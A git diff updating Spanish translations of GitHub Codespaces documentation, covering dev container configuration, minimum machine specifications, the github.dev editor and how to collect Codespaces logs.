-If you want all users of your project to have a consistent environment that is tailored to your project, you can add a dev container to your repository. You can use a predefined configuration to select a common configuration for various project types with the option to further customize your project or you can create your own custom configuration. For more information, see "[Using a predefined container configuration](#using-a-predefined-container-configuration)" and "[Creating a custom codespace configuration](#creating-a-custom-codespace-configuration)." The option you choose is dependent on the tools, runtimes, dependencies, and workflows that a user might need to be successful with your project.
+Si quieres que todos los usuarios de tu proyecto tengan un ambiente consistente que se adapte a tu proyecto, puedes agregar un contenedor dev a tu repositorio. Puedes utilizar una configuración predeterminada para seleccionar una configuración común para varios tipos de proyecto con la opción de poder personalizar tu proyecto aún más o puedes crear tu configuración personalizada propia. Para obtener más información, consulta las secciones "[Utilizar una configuración de contenedor predefinida](#using-a-predefined-container-configuration)" y "[Crear una configuración de codespace personalizada](#creating-a-custom-codespace-configuration)". La opción que elijas dependerá de las herramientas, tiempos de ejecución, dependencias y flujos de trabajo que el usuario pudiese necesitar para tener éxito en tu proyecto.
 
-{% data variables.product.prodname_codespaces %} allows for customization on a per-project and per-branch basis with a `devcontainer.json` file. This configuration file determines the environment of every new codespace anyone creates for your repository by defining a development container that can include frameworks, tools, extensions, and port forwarding. A Dockerfile can also be used alongside the `devcontainer.json` file in the `.devcontainer` folder to define everything required to create a container image.
+{% data variables.product.prodname_codespaces %} permite la personalización por proyecto y por rama con un archivo `devcontainer.json`. Este archivo de configuración determina el ambiente de cada codespace nuevo que cualquier persona cree en tu repositorio definiendo un contenedor de desarrollo que puede incluir marcos de trabajo, herramientas, extensiones y reenvío de puertos. También puede utilizarse un Dockerfile junto con el archivo `devcontainer.json` en la carpeta `.devcontainer` para definir todo lo que se necesita para crear una imagen de contenedor.
 
 ### devcontainer.json
 
 {% data reusables.codespaces.devcontainer-location %}
 
-You can use your `devcontainer.json` to set default settings for the entire codespace environment, including the editor, but you can also set editor-specific settings for individual [workspaces](https://code.visualstudio.com/docs/editor/workspaces) in a codespace in a file named `.vscode/settings.json`.
+Puedes utilizar tu `devcontainer.json` para configurar los ajustes predeterminados para todo el ambiente de codespaces, incluyendo el editor, pero también puedes configurar ajustes específicos del editor para [espacios de trabajo](https://code.visualstudio.com/docs/editor/workspaces) individuales de un codespace en un archivo llamado `.vscode/settings.json`.
 
-For information about the settings and properties that you can set in a `devcontainer.json`, see [devcontainer.json reference](https://aka.ms/vscode-remote/devcontainer.json) in the {% data variables.product.prodname_vscode %} documentation.
+Para obtener más información sobre la configuración y propiedades que puedes configurar en un `devcontainer.json`, consulta la [referencia a devcontainer.json](https://aka.ms/vscode-remote/devcontainer.json) en la documentación de {% data variables.product.prodname_vscode %}.
 
 ### Dockerfile
 
-A Dockerfile also lives in the `.devcontainer` folder. 
+Un Dockerfile también vive en la carpeta `.devcontainer`.
 
-You can add a Dockerfile to your project to define a container image and install software. In the Dockerfile, you can use `FROM` to specify the container image.
+Puedes agregar un Dockerfile a tu proyecto para definir una imagen de contenedor e instalar software. En el Dockerfile, puedes utilizar `FROM` para especificar la imagen de contenedor.
 
 ```Dockerfile
 FROM mcr.microsoft.com/vscode/devcontainers/javascript-node:0-14
@@ -55,9 +55,9 @@ FROM mcr.microsoft.com/vscode/devcontainers/javascript-node:0-14
 # USER codespace
 ```
 
-You can use the `RUN` instruction to install any software and `&&` to join commands.
+Puedes utilizar la instrucción e `RUN` para instalar cualquier software y `&&` para unir comandos.
 
-Reference your Dockerfile in your `devcontainer.json` file by using the `dockerfile` property.
+Referencia tu Dockerfile en tu archivo de `devcontainer.json` utilizando la propiedad `dockerfile`.
 
 ```json
 {
@@ -67,69 +67,64 @@ Reference your Dockerfile in your `devcontainer.json` file by using the `dockerf
 }
 ```
 
-For more information on using a Dockerfile in a dev container, see [Create a development container](https://code.visualstudio.com/docs/remote/create-dev-container#_dockerfile) in the {% data variables.product.prodname_vscode %} documentation. 
+Para obtener más información sobre cómo utilizar un Dockerfile en un contenedor de dev, consulta la sección [Crear un contenedor de desarrollo](https://code.visualstudio.com/docs/remote/create-dev-container#_dockerfile) en la documentación de {% data variables.product.prodname_vscode %}.
 
-## Using the default configuration
+## Utilizar la configuración predeterminada
 
-If you don't define a configuration in your repository, {% data variables.product.prodname_dotcom %} creates a codespace with a base Linux image. The base Linux image includes languages and runtimes like Python, Node.js, JavaScript, TypeScript, C++, Java, .NET, PHP, PowerShell, Go, Ruby, and Rust. It also includes other developer tools and utilities like git, GitHub CLI, yarn, openssh, and vim. To see all the languages, runtimes, and tools that are included use the `devcontainer-info content-url` command inside your codespace terminal and follow the url that the command outputs.
+Si no defines una configuración en tu repositorio, {% data variables.product.prodname_dotcom %} creará un codespace con una imagen base de Linux. La imagen base de Linux incluye lenguajes y tiempos de ejecución como Python, Node.js, JavaScript, TypeScript, C++, Java, .NET, PHP, PowerShell, Go, Ruby, y Rust. También incluye otras herramientas y utilidades de desarrollador como git, el CLI de GitHub, yarn, openssh y vim. Para ver todos los lenguajes, tiempos de ejecución y herramientas que se incluyen, utiliza el comando `devcontainer-info content-url` dentro de tu terminal del codespace y sigue la url que este produce.
 
-Alternatively, for more information about everything that is included in the base Linux image, see the latest file in the [`microsoft/vscode-dev-containers`](https://github.com/microsoft/vscode-dev-containers/tree/main/containers/codespaces-linux) repository. 
+Como alternativa, para obtener más información sobre todo lo que incluye la imagen básica de Linux, consulta el archivo más reciente del repositorio [`microsoft/vscode-dev-containers`](https://github.com/microsoft/vscode-dev-containers/tree/main/containers/codespaces-linux).
 
-The default configuration is a good option if you're working on a small project that uses the languages and tools that {% data variables.product.prodname_codespaces %} provides.
+La configuración predeterminada es una buena opción si estás trabajando en un proyecto pequeño que utilice los lenguajes y herramientas que proporciona {% data variables.product.prodname_codespaces %}.
 
 
-## Using a predefined container configuration
+## Utilizar una configuración de contenedor predefinida
 
-Predefined container definitions include a common configuration for a particular project type, and can help you quickly get started with a configuration that already has the appropriate container options, {% data variables.product.prodname_vscode %} settings, and {% data variables.product.prodname_vscode %} extensions that should be installed.
+Las definiciones predefinidas de contenedores incluyen una configuración común para u tipo de proyecto en particular y pueden ayudarte a iniciar rápidamente con una configuración que ya tenga las opciones adecuadas del contenedor, los ajustes de {% data variables.product.prodname_vscode %} y las extensiones de {% data variables.product.prodname_vscode %} que deben estar instaladas.
 
-Using a predefined configuration is a great idea if you need some additional extensibility. You can also start with a predefined configuration and amend it as needed for your project's setup.
+Utilizar una configuración predefinida es una gran idea si necesitas extensibilidad adicional. También puedes iniciar con una configuración predefinida y modificarla conforme lo requieras de acuerdo con los ajustes de tu proyecto.
 
 {% data reusables.codespaces.command-palette-container %}
-1. Click the definition you want to use.
-  ![List of predefined container definitions](/assets/images/help/codespaces/predefined-container-definitions-list.png)
-1. Follow the prompts to customize your definition. For more information on the options to customize your definition, see "[Adding additional features to your `devcontainer.json` file](#adding-additional-features-to-your-devcontainerjson-file)."
-1. Click **OK**.
-  ![OK button](/assets/images/help/codespaces/prebuilt-container-ok-button.png)
-1. To apply the changes, in the bottom right corner of the screen, click **Rebuild now**. For more information about rebuilding your container, see "[Applying changes to your configuration](#applying-changes-to-your-configuration)."
-  !["Codespaces: Rebuild Container" in the {% data variables.product.prodname_vscode_command_palette %}](/assets/images/help/codespaces/rebuild-prompt.png)
+1. Haz clic en la definición que quieras utilizar. ![Lista de definiciones de contenedores predefinidas](/assets/images/help/codespaces/predefined-container-definitions-list.png)
+1. Sigue los mensajes para personalizar tu definición. Para obtener más información sobre las opciones para personalizar tu definición, consulta la sección "[Agregar características adicionales a tu archivo `devcontainer.json`](#adding-additional-features-to-your-devcontainerjson-file)".
+1. Haz clic en **OK** (aceptar). ![Botón de OK](/assets/images/help/codespaces/prebuilt-container-ok-button.png)
+1. Para aplicar los cambios, en la esquina inferior derecha de la pantalla, haz clic en **Reconstruir ahora**. Para obtener más información sbre reconstruir tu contenedor, consulta la sección "[Acplicar los cambios a tu configuración](#applying-changes-to-your-configuration)". !["Codespaces: Reconstruir contenedor" en la {% data variables.product.prodname_vscode_command_palette %}](/assets/images/help/codespaces/rebuild-prompt.png)
 
-### Adding additional features to your `devcontainer.json` file
+### Agregar características adicionales a tu archivo de `devcontainer.json`
 
 {% note %}
 
-**Note:** This feature is in beta and subject to change.
+**Nota:** Esta característica se encuentra en beta y está sujeta a cambios.
 
 {% endnote %}
 
-You can add features to your predefined container configuration to customize which tools are available and extend the functionality of your workspace without creating a custom codespace configuration. For example, you could use a predefined container configuration and add the {% data variables.product.prodname_cli %} as well. You can make these additional features available for your project by adding the features to your `devcontainer.json` file when you set up your container configuration.
+Puedes agregar características a tu configuración de contenedor predefinido para personalizar qué herramientas estarán disponibles y extender la funcionalidad de tu espacio de trabajo sin crear una configuración personalizada del codespace. Por ejemplo, puedes utilizar una configuración de contenedor predefinida y agregar el {% data variables.product.prodname_cli %} también. Puedes hacer que estas características adicionales estén disponibles para tu proyecto agregándolas a tu archivo de `devcontainer.json` cuando configures los ajustes de dicho contenedor.
 
-You can add some of the most common features by selecting them when configuring your predefined container. For more information on the available features, see the [script library](https://github.com/microsoft/vscode-dev-containers/tree/main/script-library#scripts) in the `vscode-dev-containers` repository.
+Puedes agregar algunas de las características más comunes seleccionándolas cuando configures tu contenedor predefinido. Para obtener más información sobre las características disponibles, consulta la [librería de scripts](https://github.com/microsoft/vscode-dev-containers/tree/main/script-library#scripts) en el repositorio `vscode-dev-containers`.
 
-![The select additional features menu during container configuration.](/assets/images/help/codespaces/select-additional-features.png)
+![El menú de selección de características adicionales durante la configuración del contenedor.](/assets/images/help/codespaces/select-additional-features.png)
 
-You can also add or remove features outside of the **Add Development Container Configuration Files** workflow. 
-1. Access the Command Palette (`Shift + Command + P` / `Ctrl + Shift + P`), then start typing "configure". Select **Codespaces: Configure Devcontainer Features**.
-  ![The Configure Devcontainer Features command in the command palette](/assets/images/help/codespaces/codespaces-configure-features.png)
-2. Update your feature selections, then click **OK**.
-  ![The select additional features menu during container configuration.](/assets/images/help/codespaces/select-additional-features.png)
-1. To apply the changes, in the bottom right corner of the screen, click **Rebuild now**. For more information about rebuilding your container, see "[Applying changes to your configuration](#applying-changes-to-your-configuration)."
-  !["Codespaces: Rebuild Container" in the command palette](/assets/images/help/codespaces/rebuild-prompt.png)
+También puedes agregar o eliminar características fuera del flujo de trabajo de **Agregar archivos de configuración del contenedor de desarrollo**.
+1. Accede a la paleta de comandos (`Shift + Command + P` / `Ctrl + Shift + P`) y luego comienza a teclear "configurar". Selecciona **Codespaces: configurar las características del devcontainer**. ![El comando de configurar características del devcontainer en la paleta de comandos](/assets/images/help/codespaces/codespaces-configure-features.png)
+2. Actualiza tus selecciones de características y luego haz clic en **OK**. ![El menú de selección de características adicionales durante la configuración del contenedor.](/assets/images/help/codespaces/select-additional-features.png)
+1. Para aplicar los cambios, en la esquina inferior derecha de la pantalla, haz clic en **Reconstruir ahora**. Para obtener más información sbre reconstruir tu contenedor, consulta la sección "[Acplicar los cambios a tu configuración](#applying-changes-to-your-configuration)". !["Codespaces: Reconstruir contenedor" en la paleta de comandos](/assets/images/help/codespaces/rebuild-prompt.png)
 
 
-## Creating a custom codespace configuration
+## Crear una configuración personalizada para un codespace
 
-If none of the predefined configurations meet your needs, you can create a custom configuration by adding a `devcontainer.json` file. {% data reusables.codespaces.devcontainer-location %}
+Si ninguna de las configuraciones predefinidas satisface tus necesidades, puedes crear una configuración personalizada si agregas un archivo `devcontainer.json`. {% data reusables.codespaces.devcontainer-location %}
 
-In the file, you can use [supported configuration keys](https://code.visualstudio.com/docs/remote/devcontainerjson-reference) to specify aspects of the codespace's environment, like which {% data variables.product.prodname_vscode %} extensions will be installed.
+En el archivo, puedes utilizar las [llaves de configuración compatibles](https://code.visualstudio.com/docs/remote/devcontainerjson-reference) para especificar los aspectos del ambiente del codespace, como cuáles extensiones de {% data variables.product.prodname_vscode %} se instalarán.
 
 {% data reusables.codespaces.vscode-settings-order %}
 
-You can define default editor settings for {% data variables.product.prodname_vscode %} in two places.
+Puedes definir la configuración predeterminada del editor para {% data variables.product.prodname_vscode %} en dos lugares.
 
-* Editor settings defined in `.vscode/settings.json` are applied as _Workspace_-scoped settings in the codespace.
-* Editor settings defined in the `settings` key in `devcontainer.json` are applied as _Remote [Codespaces]_-scoped settings in the codespace.
+* La configuración del editor que se definió en `.vscode/settings.json` se aplica como una configuración con alcance de _Workspace_- en este codespace.
+* La configuración del editor que se definió en la clave `settings` en `devcontainer.json` se aplica como una configuración con alcance de _Remote [Codespaces]_ en este codespace.
+
+Después de actualizar el archivo `devcontainer.json`, puedes reconstruir el contenedor para que tu codespace aplique los cambios. Para obtener más información, consulta la sección "[Aplicar cambios a tu configuración](#applying-changes-to-your-configuration)".
 
-After updating the `devcontainer.json` file, you can rebuild the container for your codespace to apply the changes. For more information, see "[Applying changes to your configuration](#applying-changes-to-your-configuration)."
 
 <!--
 ## Supported codespace configuration keys
@@ -161,13 +156,12 @@ You can use configuration keys supported by {% data variables.product.prodname_c
 For more information about the available settings for `devcontainer.json`, see [devcontainer.json reference](https://aka.ms/vscode-remote/devcontainer.json) in the {% data variables.product.prodname_vscode %} documentation.
 -->
 
-## Applying changes to your configuration
+## Aplicar cambios a tu configuración
 
 {% data reusables.codespaces.apply-devcontainer-changes %}
 
 {% data reusables.codespaces.rebuild-command %}
-1. {% data reusables.codespaces.recovery-mode %} Fix the errors in the configuration.
-  ![Error message about recovery mode](/assets/images/help/codespaces/recovery-mode-error-message.png)
-   - To diagnose the error by reviewing the creation logs, click **View creation log**.
-   - To fix the errors identified in the logs, update your `devcontainer.json` file.
-   - To apply the changes, rebuild your container. 
+1. {% data reusables.codespaces.recovery-mode %} Arreglar los errores en la configuración. ![Mensaje de error sobre el modo de recuperación](/assets/images/help/codespaces/recovery-mode-error-message.png)
+   - Para diagnosticar el error revisando la bitácora de creación, haz clic en **Ver bitácora de creación**.
+   - Para arreglar los errores que se identificaron en las bitácoras, actualiza tu archivo `devcontainer.json`.
+   - Para aplicar los cambios, vuelve a crear tu contenedor. 
diff --git a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/index.md b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/index.md
index dd4c7f17c2..7e3d1273bb 100644
--- a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/index.md
+++ b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/index.md
@@ -1,7 +1,7 @@
 ---
-title: 'Setting up your repository for {% data variables.product.prodname_codespaces %}'
+title: 'Configurar tu repositorio para {% data variables.product.prodname_codespaces %}'
 allowTitleToDifferFromFilename: true
-intro: 'Learn how to get started with {% data variables.product.prodname_codespaces %}, including set up and configuration for specific languages.'
+intro: 'Aprende cómo iniciar con los {% data variables.product.prodname_codespaces %}, incluyendo cómo configurar y hacer ajustes para lenguajes específicos.'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -15,5 +15,6 @@ children:
   - /setting-up-your-dotnet-project-for-codespaces
   - /setting-up-your-java-project-for-codespaces
   - /setting-up-your-python-project-for-codespaces
+  - /setting-a-minimum-specification-for-codespace-machines
 ---
 
diff --git a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md
new file mode 100644
index 0000000000..3af78cdaf2
--- /dev/null
+++ b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md
@@ -0,0 +1,53 @@
+---
+title: Setting a minimum specification for codespace machines
+shortTitle: Setting a minimum machine spec
+intro: 'You can avoid under-resourced machine types being used for {% data variables.product.prodname_codespaces %} for your repository.'
+permissions: People with write permissions to a repository can create or edit the codespace configuration.
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Set up
+product: '{% data reusables.gated-features.codespaces %}'
+---
+
+## Resumen
+
+When you create a codespace for a repository you are typically offered a choice of available machine types. Each machine type has a different level of resources. For more information, see "[Changing the machine type for your codespace](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace#about-machine-types)."
+
+If your project needs a certain level of compute power, you can configure {% data variables.product.prodname_github_codespaces %} so that only machine types that meet these requirements are available for people to select. You configure this in the `devcontainer.json` file.
+
+{% note %}
+
+**Important:** Access to some machine types may be restricted at the organization level. Typically this is done to prevent people choosing higher resourced machines that are billed at a higher rate. If your repository is affected by an organization-level policy for machine types you should make sure you don't set a minimum specification that would leave no available machine types for people to choose. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)."
+
+{% endnote %}
+
+## Setting a minimum machine specification
+
+1. {% data variables.product.prodname_codespaces %} for your repository are configured in the `devcontainer.json` file. If your repository does not already contain a `devcontainer.json` file, add one now. See "[Add a dev container to your project](/free-pro-team@latest/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces)."
+1. Edit the `devcontainer.json` file, adding a `hostRequirements` property such as this:
+
+   ```json{:copy}
+   "hostRequirements": {
+      "cpus": 8,
+      "memory": "8gb",
+      "storage": "32gb" 
+   }
+   ```
+
+   You can specify any or all of the options: `cpus`, `memory`, and `storage`.
+
+   To check the specifications of the {% data variables.product.prodname_codespaces %} machine types that are currently available for your repository, step through the process of creating a codespace until you see the choice of machine types. Para obtener más información, consulta la sección "[Crear un codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)".
+
+1. Save the file and commit your changes to the required branch of the repository.
+
+   Now when you create a codespace for that branch of the repository you will only be able to select machine types that match or exceed the resources you've specified.
+
+   ![Dialog box showing a limited choice of machine types](/assets/images/help/codespaces/machine-types-limited-choice.png)
+
+## Leer más
+
+- "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project)"
diff --git a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md
index 6e68ed79d6..297af6ff30 100644
--- a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md
+++ b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md
@@ -16,4 +16,4 @@ hasExperimentalAlternative: true
 interactive: true
 ---
 
-<!-- This article is specially rendered via the pages/ directory -->
\ No newline at end of file
+<!-- This article is specially rendered via the pages/ directory -->
diff --git a/translations/es-ES/content/codespaces/the-githubdev-web-based-editor.md b/translations/es-ES/content/codespaces/the-githubdev-web-based-editor.md
index c41524a9b7..c4f812ed79 100644
--- a/translations/es-ES/content/codespaces/the-githubdev-web-based-editor.md
+++ b/translations/es-ES/content/codespaces/the-githubdev-web-based-editor.md
@@ -105,3 +105,4 @@ Si tienes problemas para abrir el {% data variables.product.prodname_serverless
 
 - El {% data variables.product.prodname_serverless %} es actualmente compatible en Chrome (y en varios otros buscadores basados en Chromium), Edge, Firefox y Safari. Te recomendamos que utilices las últimas versiones de estos buscadores.
 - Es posible que algunos enlaces de teclas no funcionen, dependiendo del buscador que estás utilizando. Estas limitaciones de enlaces de teclas se documentan en la sección de "[limitaciones conocidas y adaptaciones](https://code.visualstudio.com/docs/remote/codespaces#_known-limitations-and-adaptations)" de la documentación de {% data variables.product.prodname_vscode %}.
+- `.` may not work to open the {% data variables.product.prodname_serverless %} according to your local keyboard layout. In that case, you can open any {% data variables.product.prodname_dotcom %} repository in the {% data variables.product.prodname_serverless %} by changing the URL from `github.com` to `github.dev`.
diff --git a/translations/es-ES/content/codespaces/troubleshooting/codespaces-logs.md b/translations/es-ES/content/codespaces/troubleshooting/codespaces-logs.md
index eb074bda04..48edb650ce 100644
--- a/translations/es-ES/content/codespaces/troubleshooting/codespaces-logs.md
+++ b/translations/es-ES/content/codespaces/troubleshooting/codespaces-logs.md
@@ -1,6 +1,6 @@
 ---
-title: Codespaces logs
-intro: 'Overview of the logging locations used by {% data variables.product.prodname_codespaces %}.'
+title: Bitácoras de los codespaces
+intro: 'Resumen de las ubicaciones de inicio de sesión que utiliza {% data variables.product.prodname_codespaces %}.'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -9,64 +9,61 @@ type: reference
 topics:
   - Codespaces
   - Logging
-shortTitle: Codespaces logs
+shortTitle: Bitácoras de los codespaces
 ---
 
 
-Information on {% data variables.product.prodname_codespaces %} is output to three different logs:
+La información de {% data variables.product.prodname_codespaces %} se emite en tres bitácoras diferentes:
 
-- Codespace logs
-- Creation logs
-- Extension logs ({% data variables.product.prodname_vscode %} desktop) or Browser console logs ({% data variables.product.prodname_vscode %} in the web)
+- Bitácoras de Codespace
+- Bitácoras de creación
+- Bitácoras de extensión (en {% data variables.product.prodname_vscode %} para escritorio) o bitácoras de consola de buscador (en {% data variables.product.prodname_vscode %} web)
 
-## Codespace logs
+## Bitácoras de Codespace
 
-These logs contain detailed information about the codespace, the container, the session, and the {% data variables.product.prodname_vscode %} environment. They are useful for diagnosing connection issues and other unexpected behavior. For example, the codespace freezes but the "Reload Windows" option unfreezes it for a few minutes, or you are randomly disconnected from the codespace but able to reconnect immediately.
+Estas bitácoras contienen información detallada sobre los codespaces, el contenedor, la sesión y el ambiente de {% data variables.product.prodname_vscode %}. Son útiles para diagnosticar los problemas de conexión y otros comportamientos inesperados. Por ejemplo, el codespace se congela pero la opción de "Recargar Windows" lo descongela por algunos minutos, o se te desconecta aleatoriamente del codespace, pero te puedes volver a conectar de inmediato.
 
-{% include tool-switcher %}
-   
 {% webui %}
 
-1. If you are using {% data variables.product.prodname_codespaces %} in the browser, ensure that you are connected to the codespace you want to debug.
-1. Open the {% data variables.product.prodname_vscode %} Command Palette (`Shift + Command + P` (Mac) / `Ctrl + Shift + P` (Windows)) and type **Export logs**. Select **Codespaces: Export Logs** from the list to download the logs.
-1. Define where to save the zip archive of logs then click **Save** (desktop) or click **OK** (web).
-1. If you are using {% data variables.product.prodname_codespaces %} in the browser, right-click on the zip archive of logs from the Explorer view and select **Download…** to download them to your local machine.
+1. Si estás utilizando {% data variables.product.prodname_codespaces %} en el buscador, asegúrate de que estés conectado al codespace que quieres depurar.
+1. Abre la paleta de comandos de {% data variables.product.prodname_vscode %} (`Shift + Command + P` (Mac) / `Ctrl + Shift + P` (Windows)) y teclea **Exportar bitácoras**. Selecciona **Codespaces: Exportar Bitácoras** de la lista para descargar las bitácoras.
+1. Define dónde guardar el archivo zip de las bitácoras y luego haz clic en **Guardar** (escritorio) o en **OK** (web).
+1. Si estás utilizando {% data variables.product.prodname_codespaces %} en el buscador, haz clic derecho en el archivo zip de las bitácoras desde la vista de explorador y selecciona **Download…** para descargarlas en tu máquina local.
 
 {% endwebui %}
-   
+
 {% vscode %}
 
-1. Open the {% data variables.product.prodname_vscode %} Command Palette (`Shift + Command + P` (Mac) / `Ctrl + Shift + P` (Windows)) and type **Export logs**. Select **Codespaces: Export Logs** from the list to download the logs.
-1. Define where to save the zip archive of logs then click **Save** (desktop) or click **OK** (web).
+1. Abre la paleta de comandos de {% data variables.product.prodname_vscode %} (`Shift + Command + P` (Mac) / `Ctrl + Shift + P` (Windows)) y teclea **Exportar bitácoras**. Selecciona **Codespaces: Exportar Bitácoras** de la lista para descargar las bitácoras.
+1. Define dónde guardar el archivo zip de las bitácoras y luego haz clic en **Guardar** (escritorio) o en **OK** (web).
 
 {% endvscode %}
 
 {% cli %}
 
-Currently you can't use {% data variables.product.prodname_cli %} to access these logs. To access them, open your codespace in {% data variables.product.prodname_vscode %} or in a browser.
+Actualmente, no puedes utilizar el {% data variables.product.prodname_cli %} para acceder a estas bitácoras. Para acceder a ellas, abre tu codespace en {% data variables.product.prodname_vscode %} o en un buscador.
 
 {% endcli %}
 
-## Creation logs
+## Bitácoras de creación
+
+Estas bitácoras contienen información sobre el contenedor, el contenedor dev y sus configuraciones. Son útiles para depurar la configuración y solucionar problemas.
 
-These logs contain information about the container, dev container, and their configuration. They are useful for debugging configuration and setup problems.
 
-{% include tool-switcher %}
-   
 {% webui %}
 
-1. Connect to the codespace you want to debug.
-2. Open the {% data variables.product.prodname_vscode_command_palette %} (`Shift + Command + P` (Mac) / `Ctrl + Shift + P` (Windows)) and type **Creation logs**. Select **Codespaces: View Creation Log** from the list to open the `creation.log` file.
+1. Conéctate al codespace que quieras depurar.
+2. Abre la {% data variables.product.prodname_vscode_command_palette %} (`Shift + Command + P` (Mac) / `Ctrl + Shift + P` (Windows)) y teclea **Creation logs**. Selecciona **Codespaces: View Creation Log** de la lista para abrir el archivo `creation.log`.
 
-If you want to share the log with support, you can copy the text from the creation log into a text editor and save the file locally.
+Si quieres compartir la bitácora con soporte, puedes copiar el texto de la bitácora de creación en un editor de texto y guardar el archivo localmente.
 
 {% endwebui %}
-   
+
 {% vscode %}
 
-Open the Command Palette (`Shift + Command + P` (Mac) / `Ctrl + Shift + P` (Windows)) and type **Creation logs**. Select **Codespaces: View Creation Log** from the list to open the `creation.log` file.
+Abre la paleta de comandos (`Shift + Command + P` (Mac) / `Ctrl + Shift + P` (Windows)) y teclea **Creation logs**. Selecciona **Codespaces: View Creation Log** de la lista para abrir el archivo `creation.log`.
 
-If you want to share the log with support, you can copy the text from the creation log into a text editor and save the file locally.
+Si quieres compartir la bitácora con soporte, puedes copiar el texto de la bitácora de creación en un editor de texto y guardar el archivo localmente.
 
 {% endvscode %}
 
@@ -74,15 +71,15 @@ If you want to share the log with support, you can copy the text from the creati
 
 {% data reusables.cli.cli-learn-more %}
 
-To see the creation log use the `gh codespace logs` subcommand. After entering the command choose from the list of codespaces that's displayed.
+Para ver la bitácora de creación, utiliza el subcomando `gh codespace logs`. Después de ingresar el comando, elige de la lista de codespaces que se muestra.
 
 ```shell
-gh codespace logs 
+gh codespace logs
 ```
 
-For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_logs).
+Para obtener más información sobre este comando, consulta [el manual de {% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh_codespace_logs).
 
-If you want to share the log with support, you can save the output to a file:
+Si quieres compartir la bitácora con el personal de soporte, puedes guardar el resultado en un archivo:
 
 ```shell
 gh codespace logs -c <CODESPACE-NAME> > /path/to/logs.txt
@@ -90,20 +87,19 @@ gh codespace logs -c <CODESPACE-NAME> > /path/to/logs.txt
 
 {% endcli %}
 
-## Extension logs
+## Bitácoras de extensión
 
-These logs are available for {% data variables.product.prodname_vscode %} desktop users only. They are useful if it seems like the {% data variables.product.prodname_codespaces %} extension or {% data variables.product.prodname_vscode %} editor are having issues that prevent creation or connection.
+Estas bitácoras se encuentran disponibles únicamente para los usuarios de escritorio de {% data variables.product.prodname_vscode %}}. Son útiles en caso de que parezca que la extensión de {% data variables.product.prodname_codespaces %} o el editor de {% data variables.product.prodname_vscode %} estén teniendo problemas que prevengan la creación o conexión.
 
-1. In {% data variables.product.prodname_vscode %}, open the Command Palette.
-1. Type **Logs** and select **Developer: Open Extension Logs Folder** from the list to open the extension log folder in your system's file explorer. 
+1. En {% data variables.product.prodname_vscode %}, abre la paleta de comandos.
+1. Teclea **Logs** y selecciona **Desarrollador: Abrir la Carpeta de Bitácoras de Extensión** desde la lista para abrir dicha carpeta en el explorador de archivos de tu sistema.
 
-From this view, you can access logs generated by the various extensions that you use in {% data variables.product.prodname_vscode %}. You will see logs for GitHub Codespaces, GitHub Authentication, and Git, in addition to any other extensions you have enabled.
+Desde esta vista, puedes acceder a las bitácoras que generan las diversas extensiones que utilizas en {% data variables.product.prodname_vscode %}. Verás las bitácoras de GitHub Codespaces, GitHub Authentication y Git, adicionalmente a cualquier otra extensión que hayas habilitado.
 
-## Browser console logs
+## Bitácoras de consola de buscador
 
-These logs are useful only if you want to debug problems with using {% data variables.product.prodname_codespaces %} in the browser. They are useful for debugging problems creating and connecting to {% data variables.product.prodname_codespaces %}.
+Estas bitácoras son útiles únicamente si quieres depurar problemas con el uso de {% data variables.product.prodname_codespaces %} en el buscador. Son útiles para depurar problemas creando y conectándose a los {% data variables.product.prodname_codespaces %}.
 
-1. In the browser window for the codespace you want to debug, open the developer tools window.
-1. Display the "Console" tab and click **errors** in the left side bar to show only the errors.
-1. In the log area on the right, right-click and select **Save as** to save a copy of the errors to your local machine.
-  ![Save errors](/assets/images/help/codespaces/browser-console-log-save.png)
+1. En la ventana del buscador del codespace que quieres depurar, abre la ventana de herramientas de desarrollador.
+1. Muestra la pestaña de "Consola" y haz clic en **errores** en la barra lateral izquierda para mostrar únicamente los errores.
+1. En el área de bitácora a la derecha, da clic derecho y selecciona **Guardar como** para guardar una copia de los errores en tu máquina local. ![Guardar los errores](/assets/images/help/codespaces/browser-console-log-save.png)
diff --git a/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md b/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md
index 1c4288b4fa..e2ce1e9846 100644
--- a/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md
+++ b/translations/es-ES/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md
@@ -19,6 +19,18 @@ Cuando abres un codespace en tu buscador utilizando {% data variables.product.pr
 
 Puedes revisar si hay problemas conocidos y registrar problemas nuevos con la experiencia de {% data variables.product.prodname_vscode %} en el repositorio [`microsoft/vscode`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen+codespaces).
 
+### {% data variables.product.prodname_vscode %} Insiders
+
+{% data variables.product.prodname_vscode %} Insiders is the most frequent release of {% data variables.product.prodname_vscode %}. It has all the latest features and bug fixes, but may also occasionally contain new issues that result in a broken build.
+
